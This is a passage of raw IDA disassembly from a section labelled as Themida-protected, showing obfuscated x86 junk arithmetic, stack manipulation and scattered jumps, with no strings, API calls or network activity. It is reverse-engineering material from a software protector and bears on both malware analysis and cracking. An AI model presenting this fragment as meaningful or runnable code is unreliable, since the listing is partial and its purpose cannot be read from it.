jmp loc_59C123
; ---------------------------------------------------------------------------
loc_5A9F6C: ; CODE XREF: Themida_:005A8829j
mov [esp], ecx
mov ecx, 0
sub ecx, esi
mov esi, ecx
pop ecx
push 0
sub dword ptr [esp], 337C1AD3h
sub [esp], esi
add dword ptr [esp], 337C1AD3h
pop esi
push 9E5h
jmp loc_5A9F4A
; ---------------------------------------------------------------------------
loc_5A9F9A: ; CODE XREF: Themida_:005A3B81j
push dword ptr [esp]
pop ebp
add esp, 4
xor edx, 62DC2479h
shr edx, 4
add edx, 46795485h
xor eax, edx
jmp loc_5AFDD7
; ---------------------------------------------------------------------------
loc_5A9FBA: ; CODE XREF: Themida_:00599D3Bj
mov edi, [esp]
add esp, 4
mov esi, 0A0327FF7h
sub esi, edi
jmp loc_5A63C1
; ---------------------------------------------------------------------------
loc_5A9FCF: ; CODE XREF: Themida_:005A80CAj
inc ch
add ch, 0C1h
mov dl, ch
jmp loc_5A090D
; ---------------------------------------------------------------------------
loc_5A9FDB: ; CODE XREF: Themida_:0059EF5Fj
sub ebp, ecx
add ebp, 37747F73h
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5ACD23
; ---------------------------------------------------------------------------
loc_5A9FF7: ; CODE XREF: Themida_:0059BA3Cj
mov [esp], eax
mov eax, 31BA6796h
xor eax, 31BA6792h
jmp loc_59E030
; ---------------------------------------------------------------------------
loc_5AA009: ; CODE XREF: Themida_:005A0977j
push ebx
jmp loc_5AAB2A
; ---------------------------------------------------------------------------
loc_5AA00F: ; CODE XREF: Themida_:005A714Dj
jnb loc_5AEEF1
and ebx, 0E02D7Dh
jnp loc_5A9810
loc_5AA021: ; CODE XREF: Themida_:loc_5AF76Ej
xor edi, 398B7D17h
add edi, 1B34CFB9h
jmp loc_5ADF81
; ---------------------------------------------------------------------------
loc_5AA032: ; CODE XREF: Themida_:005AF262j
mov esp, [esp]
jmp loc_5A4934
; ---------------------------------------------------------------------------
loc_5AA03A: ; CODE XREF: Themida_:005992E3j
pop edx
push ecx
mov ecx, 4
add edi, 3B1C27E7h
jmp loc_5AEE77
; ---------------------------------------------------------------------------
loc_5AA04C: ; CODE XREF: Themida_:005A73B9j
pop ebx
mov ch, ah
pop eax
pop edx
pop ebx
xor al, ch
mov cx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 2
jmp loc_59F429
; ---------------------------------------------------------------------------
loc_5AA069: ; CODE XREF: Themida_:0059E3D2j
mov ebp, 4
add [esp+4], ebp
mov ebp, [esp]
jmp loc_5AE599
; ---------------------------------------------------------------------------
loc_5AA07A: ; CODE XREF: Themida_:005ADACDj
push ebx
mov ebx, 7FF00BFBh
inc ebx
add ebx, 1
neg ebx
add ebx, 7F163300h
or ebx, 1DD73877h
add ebx, 56B7D664h
sub edi, 1E24506Bh
jmp loc_5AA87F
; ---------------------------------------------------------------------------
loc_5AA0A3: ; CODE XREF: Themida_:005AB855j
push dword ptr [esp]
pop edx
add esp, 4
shl bx, 3
push bp
push small 79C2h
pop bp
xor bx, bp
jmp loc_5993FC
; ---------------------------------------------------------------------------
loc_5AA0BE: ; CODE XREF: Themida_:005ABFC7j
pop ebp
xor eax, ebp
mov ebp, [esp]
push 582Bh
mov [esp], ebx
push esp
push dword ptr [esp]
mov ebx, [esp]
jmp loc_5A06D5
; ---------------------------------------------------------------------------
loc_5AA0D8: ; CODE XREF: Themida_:005A2000j
mov esi, esp
add esi, 4
push ecx
push esi
jmp loc_5A2308
; ---------------------------------------------------------------------------
loc_5AA0E7: ; CODE XREF: Themida_:005AD31Ej
jmp loc_5A1CDB
; ---------------------------------------------------------------------------
loc_5AA0EC: ; CODE XREF: Themida_:005A1641j
push ebx
jmp loc_5A6B94
; ---------------------------------------------------------------------------
loc_5AA0F2: ; CODE XREF: Themida_:005A7501j
jmp loc_5A9810
; ---------------------------------------------------------------------------
loc_5AA0F7: ; CODE XREF: Themida_:005A3C7Dj
mov eax, [esp]
push eax
mov eax, esp
jmp loc_5A8B1F
; ---------------------------------------------------------------------------
loc_5AA102: ; CODE XREF: Themida_:0059D9F7j
shr edx, 7
add edx, 6C6FCB37h
mov ebx, edx
pop edx
and ebx, 324D0FDEh
shl ebx, 1
or ebx, 9A17DD0h
neg ebx
jmp loc_59F49F
; ---------------------------------------------------------------------------
loc_5AA123: ; CODE XREF: Themida_:0059E1FDj
mov edi, 0ED8DD2CFh
add edx, edi
pop edi
sub edi, edx
mov edx, [esp]
push edi
mov edi, esp
jmp loc_59C108
; ---------------------------------------------------------------------------
loc_5AA138: ; CODE XREF: Themida_:00598A67j
push 541B7C69h
pop eax
not eax
or eax, 202B53E6h
jbe loc_5ACB2F
xor eax, 5F273921h
jmp loc_5A6DC2
; ---------------------------------------------------------------------------
loc_5AA155: ; CODE XREF: Themida_:0059E50Dj
mov ecx, 18FD689Bh
mov ebx, ecx
jmp loc_5AABB1
; ---------------------------------------------------------------------------
loc_5AA161: ; CODE XREF: Themida_:005AE786j
mov eax, 0FF95AD5Fh
jmp loc_5ABCE0
; ---------------------------------------------------------------------------
loc_5AA16B: ; CODE XREF: Themida_:0059E145j
push ebp
jmp loc_5AFD00
; ---------------------------------------------------------------------------
loc_5AA171: ; CODE XREF: Themida_:005A9671j
add edi, 39C09D25h
sub esp, 4
mov [esp], edi
xor dword ptr [esp], 248E675Ah
jmp loc_59B87A
; ---------------------------------------------------------------------------
loc_5AA189: ; CODE XREF: Themida_:0059E0F5j
push ecx
mov ecx, 4
sub edx, ecx
pop ecx
jmp loc_5A51B8
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
pop esi
add esi, 4
sub esp, 4
jmp loc_59B532
; ---------------------------------------------------------------------------
loc_5AA1AC: ; CODE XREF: Themida_:0059FDD1j
mov ebx, 51CE2391h
inc ebx
not ebx
xor ebx, 0AE31DC6Fh
sub edi, 150F06D8h
add edi, ebx
add edi, 150F06D8h
pop ebx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_599A46
; ---------------------------------------------------------------------------
loc_5AA1D7: ; CODE XREF: Themida_:0059F210j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push 376Bh
mov [esp], edi
mov edi, esp
jmp loc_598E03
; ---------------------------------------------------------------------------
loc_5AA1F2: ; CODE XREF: Themida_:005A3A3Bj
xor al, 61h
sub esp, 4
mov [esp], edx
mov dl, 70h
xor dl, 0EBh
dec dl
sub dl, 0CEh
sub al, dl
pop edx
jmp loc_5A1830
; ---------------------------------------------------------------------------
loc_5AA20F: ; CODE XREF: Themida_:00599DDCj
sub edi, edx
pop edx
add edi, ebp
add edi, 378805E5h
jmp loc_5A5027
; ---------------------------------------------------------------------------
loc_5AA21F: ; CODE XREF: Themida_:0059AA03j
mov edx, 42750240h
sub esi, edx
pop edx
pop ecx
jmp loc_5A10DF
; ---------------------------------------------------------------------------
loc_5AA22D: ; CODE XREF: Themida_:0059E637j
add esi, ebp
pop ebp
add esi, 4
xchg esi, [esp]
pop esp
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
test cx, ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AA24C: ; CODE XREF: Themida_:005A4392j
; Themida_:005AB528j
push edi
mov edi, esp
jmp loc_59A67A
; ---------------------------------------------------------------------------
loc_5AA254: ; CODE XREF: Themida_:005A5573j
add ebp, eax
jmp loc_59EFCC
; ---------------------------------------------------------------------------
loc_5AA25B: ; CODE XREF: Themida_:005AD046j
mov edx, 73BD33B6h
push esi
mov esi, 7CA60EBFh
add edx, esi
jmp loc_5994DC
; ---------------------------------------------------------------------------
loc_5AA26D: ; CODE XREF: Themida_:005AE93Cj
add ebx, esi
push dword ptr [esp]
mov esi, [esp]
jmp loc_5A60A8
; ---------------------------------------------------------------------------
loc_5AA27A: ; CODE XREF: Themida_:00599E9Aj
pop ebp
jmp loc_5AC9E0
; ---------------------------------------------------------------------------
loc_5AA280: ; CODE XREF: Themida_:0059C812j
mov edi, 218A30A7h
and edi, 5E6D1CC1h
xor edi, 7A176B93h
sub eax, edi
pop edi
xor eax, 85A37F3Ah
add esi, eax
pop eax
push dword ptr [esp]
pop ecx
jmp loc_5AF6C8
; ---------------------------------------------------------------------------
loc_5AA2A5: ; CODE XREF: Themida_:005AA3E2j
xchg eax, [esp]
pop esp
jmp loc_59FC8B
; ---------------------------------------------------------------------------
loc_5AA2AE: ; CODE XREF: Themida_:005A2A11j
add eax, ebp
mov ebp, [esp]
add esp, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_5A6F54
; ---------------------------------------------------------------------------
loc_5AA2CA: ; CODE XREF: Themida_:005AD780j
pop dword ptr [esp]
jmp loc_5A5D2E
; ---------------------------------------------------------------------------
loc_5AA2D2: ; CODE XREF: Themida_:005997FAj
pop ebx
push esi
mov esi, 4
sub edi, esi
pop esi
xchg edi, [esp]
jmp loc_59DC36
; ---------------------------------------------------------------------------
loc_5AA2E4: ; CODE XREF: Themida_:005AEECFj
push esp
jmp loc_5AFD0E
; ---------------------------------------------------------------------------
loc_5AA2EA: ; CODE XREF: Themida_:0059962Ej
sub ebp, 0B4EDC1A2h
mov ebx, ebp
pop ebp
sub ebp, 980519Ch
sub ebp, ebx
add ebp, 980519Ch
pop ebx
sub ebp, 473B51B6h
add ebx, ebp
pop ebp
xor ebx, [esp]
xor [esp], ebx
jmp loc_5AC20C
; ---------------------------------------------------------------------------
loc_5AA316: ; CODE XREF: Themida_:005A4AD7j
pop ebp
jmp loc_59A113
; ---------------------------------------------------------------------------
loc_5AA31C: ; CODE XREF: Themida_:005A97C5j
add ebx, 3BED5547h
push dword ptr [esp]
pop ebp
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], ebp
jmp loc_5AD49B
; ---------------------------------------------------------------------------
loc_5AA345: ; CODE XREF: Themida_:005A92BDj
mov ebp, eax
jmp loc_5A6BCD
; ---------------------------------------------------------------------------
loc_5AA34C: ; CODE XREF: Themida_:005AA482j
; Themida_:005AE3C3j
sub [esp+4], eax
jmp loc_5996A7
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AA365: ; CODE XREF: Themida_:005ACB97j
mov ebp, 2
add ebx, ebp
mov ebp, [esp]
jmp loc_598EA3
; ---------------------------------------------------------------------------
loc_5AA374: ; CODE XREF: Themida_:005A1958j
sub bl, 8Bh
sub bl, dh
add bl, 8Bh
push 0F6Ch
mov [esp], ecx
mov ch, 0Eh
push bx
jmp loc_5A2368
; ---------------------------------------------------------------------------
loc_5AA38D: ; CODE XREF: Themida_:0059F704j
push bx
not byte ptr [esp+1]
pop bx
jmp loc_59F85B
; ---------------------------------------------------------------------------
loc_5AA39A: ; CODE XREF: Themida_:005AB49Fj
mov edi, 585F0899h
shl edi, 8
jmp loc_59B9B1
; ---------------------------------------------------------------------------
loc_5AA3A7: ; CODE XREF: Themida_:0059B912j
xor esi, ebp
pop ebp
inc esi
jmp loc_5AF096
; ---------------------------------------------------------------------------
loc_5AA3B0: ; CODE XREF: Themida_:005A0B8Dj
not ecx
xor ecx, 36840449h
jmp loc_59E580
; ---------------------------------------------------------------------------
loc_5AA3BD: ; CODE XREF: Themida_:005AD5D6j
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 2CEE1710h
shr ebp, 5
jmp loc_5AEF57
; ---------------------------------------------------------------------------
loc_5AA3D4: ; CODE XREF: Themida_:0059FC86j
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
pop ebp
jmp loc_5AA2A5
; ---------------------------------------------------------------------------
loc_5AA3E7: ; CODE XREF: Themida_:005A4D18j
sub bh, 84h
add al, bh
pop ebx
mov ebx, [esp]
jmp loc_5AB2DA
; ---------------------------------------------------------------------------
loc_5AA3F5: ; CODE XREF: Themida_:005A0BFDj
push eax
mov eax, 4B08137Ch
add eax, 0FFFFFFFFh
jmp loc_59C274
; ---------------------------------------------------------------------------
loc_5AA405: ; CODE XREF: Themida_:005A34DDj
pop ebx
add edx, 0F19BB041h
sub ebx, edx
pop edx
shl ebx, 4
jnz loc_5AFA95
sub ebx, 6671B7ACh
mov ebp, ebx
pop ebx
add edi, ebp
loc_5AA423: ; CODE XREF: Themida_:005A0802j
pop edi
push 5BC3h
mov [esp], edx
jmp loc_5A16EC
; ---------------------------------------------------------------------------
loc_5AA431: ; CODE XREF: Themida_:005A0DA3j
pop esp
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], ecx
push 25FA104Ch
jmp loc_59A411
; ---------------------------------------------------------------------------
loc_5AA448: ; CODE XREF: Themida_:005A5339j
mov eax, 30F75CC4h
xor eax, 4391D36h
sub ebx, eax
pop eax
push edi
mov edi, 62355DC2h
add ebx, edi
pop edi
add ebx, edx
push 78B6h
mov [esp], eax
jmp loc_5ABDBE
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5A95D7
; ---------------------------------------------------------------------------
loc_5AA475: ; CODE XREF: Themida_:005A336Bj
sub eax, 0DBEB17D1h
sub dword ptr [esp+4], 68EE430Ch
jmp loc_5AA34C
; ---------------------------------------------------------------------------
loc_5AA487: ; CODE XREF: Themida_:loc_5AE9A0j
shr eax, 5
push edi
jmp loc_5AE1FB
; ---------------------------------------------------------------------------
loc_5AA490: ; CODE XREF: Themida_:005AE37Bj
push edi
mov edi, 60D26C0Ch
push ebp
jmp loc_5A478D
; ---------------------------------------------------------------------------
loc_5AA49C: ; CODE XREF: Themida_:005ADCD5j
pop edx
push 4619h
mov [esp], ebx
mov ebx, 374F7382h
jmp loc_5AD440
; ---------------------------------------------------------------------------
loc_5AA4AF: ; CODE XREF: Themida_:005AF74Ej
add esp, 4
dec edi
or edi, 6FC76684h
sub edi, 349035EFh
xor edi, 5B344B90h
jmp loc_5ACA97
; ---------------------------------------------------------------------------
loc_5AA4CA: ; CODE XREF: Themida_:0059EB8Fj
; Themida_:005A17A7j
pop edx
push ax
sub esp, 4
mov [esp], ecx
jmp loc_5A24DB
; ---------------------------------------------------------------------------
loc_5AA4DB: ; CODE XREF: Themida_:loc_5A5E1Cj
or bl, 9Ch
jmp loc_5ABBF5
; ---------------------------------------------------------------------------
loc_5AA4E3: ; CODE XREF: Themida_:0059C5B2j
sub esp, 2
mov [esp], dx
mov dx, 15E8h
jmp loc_5AEDFC
; ---------------------------------------------------------------------------
loc_5AA4F3: ; CODE XREF: Themida_:005AC658j
sub esi, 3F4B2D51h
add esi, ecx
add esi, 3F4B2D51h
pop ecx
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], edx
mov edx, 3E3A3825h
sub edx, 2C92703Bh
push 0
sub [esp], edx
jmp loc_59BF1D
; ---------------------------------------------------------------------------
loc_5AA527: ; CODE XREF: Themida_:0059B818j
sub eax, 46272752h
jnz loc_5993A8
add eax, 0FD32F44Bh
mov ecx, eax
pop eax
push esi
mov dh, ah
push edi
loc_5AA53E: ; CODE XREF: Themida_:loc_59A550j
inc edi
xor edi, 2F753999h
ja loc_5A45D5
sub edi, 280B4690h
jmp loc_5A5F0D
; ---------------------------------------------------------------------------
mov dh, cl
mov bh, ch
loc_5AA55A: ; CODE XREF: Themida_:0059DC31j
xor ebx, 60FBEDC3h
sub edx, ebx
pop ebx
push dword ptr [edx]
mov ecx, [esp]
jmp loc_5A33B3
; ---------------------------------------------------------------------------
loc_5AA56D: ; CODE XREF: Themida_:0059D095j
mov esi, eax
pop eax
add edx, esi
pop esi
jmp loc_5A6625
; ---------------------------------------------------------------------------
loc_5AA578: ; CODE XREF: Themida_:005AD7A4j
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
pop edi
not edi
push 7081h
mov [esp], eax
sub esp, 4
mov [esp], edi
pop eax
push dword ptr [esp]
jmp loc_599E59
; ---------------------------------------------------------------------------
loc_5AA59E: ; CODE XREF: Themida_:005A101Aj
mov [esp], ebx
mov ebx, esp
jmp loc_59E708
; ---------------------------------------------------------------------------
loc_5AA5A8: ; CODE XREF: Themida_:005AC84Fj
or esi, edx
pop edx
push eax
mov eax, 6CB520E1h
sub esi, eax
mov eax, [esp]
add esp, 4
not esi
jmp loc_5AE9AB
; ---------------------------------------------------------------------------
loc_5AA5C0: ; CODE XREF: Themida_:005A768Ej
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AA5C5: ; CODE XREF: Themida_:0059CC46j
add edx, 23386CC0h
add edx, 462D760Eh
mov ebx, [esp]
add esp, 4
push esi
mov esi, 14326AF4h
push esi
not dword ptr [esp]
pop esi
xchg edx, esi
neg edx
push esi
push edx
mov esi, [esp]
add esp, 4
pop edx
add esi, 2AB65F7Ah
xor esi, 3EE8CA6Dh
add edx, esi
pop esi
xchg edx, [esp]
mov esp, [esp]
dec byte ptr [esp]
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AA60D: ; CODE XREF: Themida_:005A5418j
push ebx
jmp loc_5AB965
; ---------------------------------------------------------------------------
loc_5AA613: ; CODE XREF: Themida_:0059C45Ej
add ebp, eax
pop eax
jmp loc_59C991
; ---------------------------------------------------------------------------
loc_5AA61B: ; CODE XREF: Themida_:0059F919j
add ebx, 4
xchg ebx, [esp]
pop esp
add esp, 4
push 175Dh
mov [esp], ecx
mov ecx, 4
add ebx, ecx
pop ecx
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_5A5735
; ---------------------------------------------------------------------------
loc_5AA64D: ; CODE XREF: Themida_:0059F02Bj
pop esp
jmp loc_5A189E
; ---------------------------------------------------------------------------
loc_5AA653: ; CODE XREF: Themida_:005A30F4j
mov esp, [esp]
jmp loc_5A120C
; ---------------------------------------------------------------------------
loc_5AA65B: ; CODE XREF: Themida_:005ABAFDj
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
div cx
push 3596h
jmp loc_59F9D4
; ---------------------------------------------------------------------------
loc_5AA671: ; CODE XREF: Themida_:005A2328j
mov ebp, 4
add [esp+4], ebp
pop ebp
jmp loc_5A9C14
; ---------------------------------------------------------------------------
loc_5AA680: ; CODE XREF: Themida_:005AACDFj
pop ecx
inc esi
jmp loc_59DBAA
; ---------------------------------------------------------------------------
loc_5AA687: ; CODE XREF: Themida_:005A80B9j
push ebp
mov ebp, 18463CAAh
add ebp, 4AE42C31h
add ebp, 0F12DE039h
add edi, ebp
pop ebp
sub eax, edi
jmp loc_599A12
; ---------------------------------------------------------------------------
loc_5AA6A3: ; CODE XREF: Themida_:005AD083j
jnp loc_5A277A
xor edx, 4AE42521h
not edx
shl edx, 6
sub edx, 1CBEF780h
sub edx, esi
mov esi, edx
jmp loc_5AFA83
; ---------------------------------------------------------------------------
loc_5AA6C3: ; CODE XREF: Themida_:005A7C85j
pop dword ptr [esp]
jmp loc_5AD769
; ---------------------------------------------------------------------------
loc_5AA6CB: ; CODE XREF: Themida_:0059F5AEj
pop ecx
add ebp, 0C1C88441h
or [edi+1Ch], ebp
pop ebp
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AA6DB: ; CODE XREF: Themida_:00599AC2j
sub esi, 32C510B9h
add esi, edx
add esi, 32C510B9h
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_59F296
; ---------------------------------------------------------------------------
loc_5AA6F8: ; CODE XREF: Themida_:0059B04Aj
shr cl, 1
shl cl, 1
shl cl, 5
jmp loc_5A237E
; ---------------------------------------------------------------------------
loc_5AA704: ; CODE XREF: Themida_:005A54C3j
mov ebp, 32A6182Ah
jmp loc_59D67B
; ---------------------------------------------------------------------------
loc_5AA70E: ; CODE XREF: Themida_:0059B72Dj
xchg ebx, [esp]
pop esp
jmp loc_5A9DC6
; ---------------------------------------------------------------------------
loc_5AA717: ; CODE XREF: Themida_:005A68E3j
add esp, 4
xchg eax, [esp]
pop esp
mov [esp], eax
jmp loc_5992F1
; ---------------------------------------------------------------------------
loc_5AA726: ; CODE XREF: Themida_:005A01E4j
inc esi
add esi, 0DAAFBC01h
jmp loc_59D1D5
; ---------------------------------------------------------------------------
loc_5AA732: ; CODE XREF: Themida_:005AC35Bj
pop ebp
add ebp, 35836ECFh
pop ebx
push eax
jmp loc_59D829
; ---------------------------------------------------------------------------
loc_5AA740: ; CODE XREF: Themida_:0059B323j
pop ebp
add esi, 64026243h
pop ecx
sub esi, 0EFB6BEEAh
sub ebx, esi
pop esi
sub ebx, 0E6FF6A4h
add esi, ebx
pop ebx
shl esi, 8
sub esi, 0AB2CF92Ch
jmp loc_59EBD3
; ---------------------------------------------------------------------------
loc_5AA768: ; CODE XREF: Themida_:005A2B4Cj
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_59D930
; ---------------------------------------------------------------------------
loc_5AA779: ; CODE XREF: Themida_:005AF53Fj
mov [esp], ebp
jmp loc_59F1E4
; ---------------------------------------------------------------------------
loc_5AA781: ; CODE XREF: Themida_:0059BC58j
push 5D27h
mov [esp], ecx
jmp loc_5A0763
; ---------------------------------------------------------------------------
loc_5AA78E: ; CODE XREF: Themida_:005A74F2j
mov eax, 4C302072h
sub eax, 1F2E2BBDh
inc eax
sub eax, 275377D4h
add eax, 0CD8205A6h
xor esi, eax
pop eax
mov ebp, esi
pop esi
jmp loc_5AE422
; ---------------------------------------------------------------------------
loc_5AA7AE: ; CODE XREF: Themida_:005AD324j
or eax, 220A4DF3h
jnb loc_59EAAF
xor eax, 0E2ABFFF6h
push ecx
jmp loc_59E381
; ---------------------------------------------------------------------------
shl ebp, 1
sub al, 8Ch
loc_5AA7C8: ; CODE XREF: Themida_:loc_59FC2Aj
push edx
push ecx
mov ch, 51h
neg ch
xor ch, 0CBh
ja loc_5A37D8
shl ch, 2
jmp loc_5A07EE
; ---------------------------------------------------------------------------
xchg edi, [esp]
pop esp
xor eax, esi
loc_5AA7E5: ; CODE XREF: Themida_:0059B440j
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5A94DA
; ---------------------------------------------------------------------------
loc_5AA7F5: ; CODE XREF: Themida_:005A6349j
add dword ptr [esp], 4
jmp loc_59E16B
; ---------------------------------------------------------------------------
loc_5AA7FE: ; CODE XREF: Themida_:005AF6DEj
inc edx
inc edx
sub edx, 23405F4Dh
sub ebp, edx
pop edx
add ecx, ebp
pop ebp
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_5AAECC
; ---------------------------------------------------------------------------
loc_5AA827: ; CODE XREF: Themida_:005A78E4j
add ecx, edx
jmp loc_59E663
; ---------------------------------------------------------------------------
loc_5AA82E: ; CODE XREF: Themida_:005A322Ej
or edi, eax
pop eax
xor edi, 274D5A8Ch
shl edi, 1
jmp loc_5AD8B2
; ---------------------------------------------------------------------------
loc_5AA83E: ; CODE XREF: Themida_:0059EFF7j
mov edx, edi
mov edi, [esp]
add esp, 4
sub edx, 1DBD6B1Ah
jno loc_5AD4CB
push eax
mov eax, 0D855020h
neg eax
inc eax
jmp loc_59C4F2
; ---------------------------------------------------------------------------
push esp
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5AF16F
; ---------------------------------------------------------------------------
loc_5AA86F: ; CODE XREF: Themida_:0059F1C5j
; Themida_:005ABBFBj
sub bl, ch
add bl, 0A0h
push dword ptr [esp]
pop ecx
push ecx
push esp
jmp loc_59F016
; ---------------------------------------------------------------------------
loc_5AA87F: ; CODE XREF: Themida_:005AA09Ej
add edi, ebx
add edi, 1E24506Bh
jmp loc_5AD655
; ---------------------------------------------------------------------------
loc_5AA88C: ; CODE XREF: Themida_:0059B5F1j
shl esi, 4
sub esi, 54063318h
xor ebp, esi
pop esi
sub esp, 4
jmp loc_5AEEB9
; ---------------------------------------------------------------------------
loc_5AA8A0: ; CODE XREF: Themida_:005AF2DFj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], esi
mov esi, 2
add eax, esi
pop esi
push eax
jmp loc_599024
; ---------------------------------------------------------------------------
loc_5AA8C4: ; CODE XREF: Themida_:005A23E4j
push 282525C6h
pop esi
dec esi
jmp loc_5A77F2
; ---------------------------------------------------------------------------
loc_5AA8D0: ; CODE XREF: Themida_:00599556j
push esi
jmp loc_5A9732
; ---------------------------------------------------------------------------
loc_5AA8D6: ; CODE XREF: Themida_:005A898Ej
push edx
push ecx
mov ch, al
mov dl, ch
mov ecx, [esp]
add esp, 4
mov cl, dl
jmp loc_5A82EF
; ---------------------------------------------------------------------------
loc_5AA8EC: ; CODE XREF: Themida_:005A881Bj
pop esi
jmp loc_5A60C3
; ---------------------------------------------------------------------------
loc_5AA8F2: ; CODE XREF: Themida_:005A50D8j
sub eax, 508F08B5h
sub eax, ebx
push 292Fh
mov [esp], ebx
jmp loc_5A9E17
; ---------------------------------------------------------------------------
loc_5AA906: ; CODE XREF: Themida_:0059D09Ej
push esi
mov esi, 4AE529F2h
jmp loc_5AE78B
; ---------------------------------------------------------------------------
loc_5AA911: ; CODE XREF: Themida_:loc_5A1127j
; Themida_:005A910Dj
xor dword ptr [esp], 52416E8Ah
pop edx
xor edx, 52416E8Ah
pop ebx
add edx, 1B304E7Ch
add edx, ecx
sub edx, 1B304E7Ch
jmp loc_5AB5F5
; ---------------------------------------------------------------------------
loc_5AA933: ; CODE XREF: Themida_:005A0D70j
mov eax, [esp]
add esp, 4
push 17E8h
mov [esp], ebx
mov ebx, esp
push 63CCh
mov [esp], edi
push 4
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], edx
jmp loc_5A736F
; ---------------------------------------------------------------------------
loc_5AA962: ; CODE XREF: Themida_:005A9972j
mov eax, 115533D7h
xor ebx, eax
pop eax
add ebx, 29F462EDh
shl ebx, 5
shl ebx, 4
sub ebx, 4820AEF9h
or ecx, ebx
pop ebx
neg ecx
push ebx
push eax
mov eax, 2A7C451Ah
mov ebx, eax
pop eax
sub ebx, 1
jmp loc_59ED13
; ---------------------------------------------------------------------------
loc_5AA996: ; CODE XREF: Themida_:005AB7C2j
pop ecx
jmp loc_5A7852
; ---------------------------------------------------------------------------
loc_5AA99C: ; CODE XREF: Themida_:0059DB82j
push edi
mov edi, esp
jmp loc_59B62F
; ---------------------------------------------------------------------------
loc_5AA9A4: ; CODE XREF: Themida_:0059ABE7j
add esp, 4
push ecx
push eax
mov eax, 36FE33F8h
push eax
xor dword ptr [esp], 200027B2h
mov ecx, [esp]
add esp, 4
jmp loc_5A0071
; ---------------------------------------------------------------------------
loc_5AA9C7: ; CODE XREF: Themida_:005ADDFDj
xchg ecx, [esp]
pop esp
jmp loc_5A7463
; ---------------------------------------------------------------------------
loc_5AA9D0: ; CODE XREF: Themida_:005A1994j
mov edi, [esp]
push ebx
mov ebx, esp
jmp loc_59A01F
; ---------------------------------------------------------------------------
loc_5AA9DB: ; CODE XREF: Themida_:005A3A2Fj
push ecx
push ebp
jmp loc_598B57
; ---------------------------------------------------------------------------
loc_5AA9E2: ; CODE XREF: Themida_:005A6286j
pop ecx
push edx
jmp loc_5A4D1D
; ---------------------------------------------------------------------------
loc_5AA9E9: ; CODE XREF: Themida_:0059B15Fj
add esp, 4
push ecx
jmp loc_5A6952
; ---------------------------------------------------------------------------
loc_5AA9F5: ; CODE XREF: Themida_:0059D6C4j
add eax, edi
pop edi
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], esp
push 94h
mov [esp], ecx
jmp loc_5A6F97
; ---------------------------------------------------------------------------
loc_5AAA15: ; CODE XREF: Themida_:005AD907j
not ebx
dec ebx
xor ebx, 0EBD7333h
sub ebp, 3D9000F3h
jmp loc_59AF10
; ---------------------------------------------------------------------------
loc_5AAA29: ; CODE XREF: Themida_:005AABBEj
mov esi, edx
mov edx, [esp]
add esp, 4
add esi, 33342761h
sub esi, ebx
jmp loc_5A468B
; ---------------------------------------------------------------------------
loc_5AAA41: ; CODE XREF: Themida_:005A1232j
or ch, 22h
jmp loc_5AFB5B
; ---------------------------------------------------------------------------
loc_5AAA49: ; CODE XREF: Themida_:005AC9DBj
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
push ecx
mov ecx, 4
jmp loc_59F009
; ---------------------------------------------------------------------------
loc_5AAA67: ; CODE XREF: Themida_:0059B80Ej
pop ecx
jmp loc_59EA39
; ---------------------------------------------------------------------------
loc_5AAA6D: ; CODE XREF: Themida_:0059B8E6j
add esi, 4
jmp loc_59DDA0
; ---------------------------------------------------------------------------
loc_5AAA78: ; CODE XREF: Themida_:005998CDj
add ebp, edi
mov edi, [esp]
add esp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
add ebx, 0E3E74433h
xor eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
push edi
push 297Dh
mov [esp], esp
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
jmp loc_5A5289
; ---------------------------------------------------------------------------
loc_5AAABC: ; CODE XREF: Themida_:005A03E4j
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
add ecx, 4
push edx
mov edx, 6E756D2Fh
jmp loc_5A2662
; ---------------------------------------------------------------------------
loc_5AAADE: ; CODE XREF: Themida_:005A778Cj
mov edx, [esp]
add esp, 4
sub edi, ecx
pop ecx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 1
and eax, ebx
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
jmp loc_5A75CF
; ---------------------------------------------------------------------------
